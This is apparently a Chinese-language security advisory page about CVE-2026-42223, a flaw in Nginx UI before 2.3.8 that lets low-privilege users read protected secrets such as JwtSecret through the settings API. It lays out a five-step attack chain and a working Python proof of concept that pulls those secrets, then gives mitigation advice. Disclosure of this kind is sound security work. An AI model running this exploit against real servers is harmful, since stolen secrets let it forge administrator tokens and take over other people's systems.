IPBUF安全漏洞报告
English
CVE-2026-42223 CVSS 6.5 中危

CVE-2026-42223 Nginx UI敏感信息泄露漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42223
漏洞类型
敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nginx UI

相关标签

信息泄露Nginx UI权限绕过CVE-2026-42223

漏洞概述

Nginx UI在2.3.8版本之前存在敏感信息泄露漏洞。GetSettings API接口在读取配置时未正确过滤标记为protected的字段,导致经过身份验证的低权限用户可以获取包括JwtSecret、NodeSecret、OIDC ClientSecret等在内的40多个敏感配置信息。攻击者利用这些secret可伪造令牌、接管账户或冒充集群节点,造成严重安全风险。

技术细节

该漏洞源于Nginx UI的`api/settings/settings.go`文件中GetSettings处理程序的逻辑缺陷。虽然代码中的敏感结构体字段(如JwtSecret)被标记了`protected:"true"`标签,但该标签仅在写入操作(SaveSettings中的ProtectedFill方法)时生效。然而,在读取操作时,程序直接将整个结构体序列化为JSON返回给用户,忽略了`protected`标签的过滤作用。这导致任何拥有低权限账户的攻击者,只需调用API获取设置,即可读取服务器核心密钥。获取JwtSecret后,攻击者可伪造有效的JWT Token提升至管理员权限;获取OIDC ClientSecret可结合OAuth流程接管用户账户。

攻击链分析

STEP 1
步骤1
攻击者注册或获取Nginx UI的一个低权限用户账户。
STEP 2
步骤2
攻击者使用该账户登录,获取有效的身份认证Token。
STEP 3
步骤3
攻击者向`/api/settings`端点发送GET请求,携带认证Token。
STEP 4
步骤4
服务器返回包含所有系统设置的JSON数据,未过滤`JwtSecret`等敏感字段。
STEP 5
步骤5
攻击者提取`JwtSecret`并利用其伪造管理员Token,接管系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-42223 PoC # Target: Nginx UI < 2.3.8 # Description: Retrieves sensitive settings including JwtSecret via the GetSettings API. target_url = "http://target-ip/api/settings" # Attacker needs a valid low-privilege token headers = { "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive keys sensitive_keys = ["JwtSecret", "NodeSecret", "ClientSecret"] found_secrets = {k: v for k, v in data.items() if k in sensitive_keys} print(f"[+] Sensitive data leaked: {found_secrets}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Nginx UI < 2.3.8

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理层(如Nginx前端)拦截对`/api/settings`接口的非管理员IP访问,或暂时禁用Nginx UI服务直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表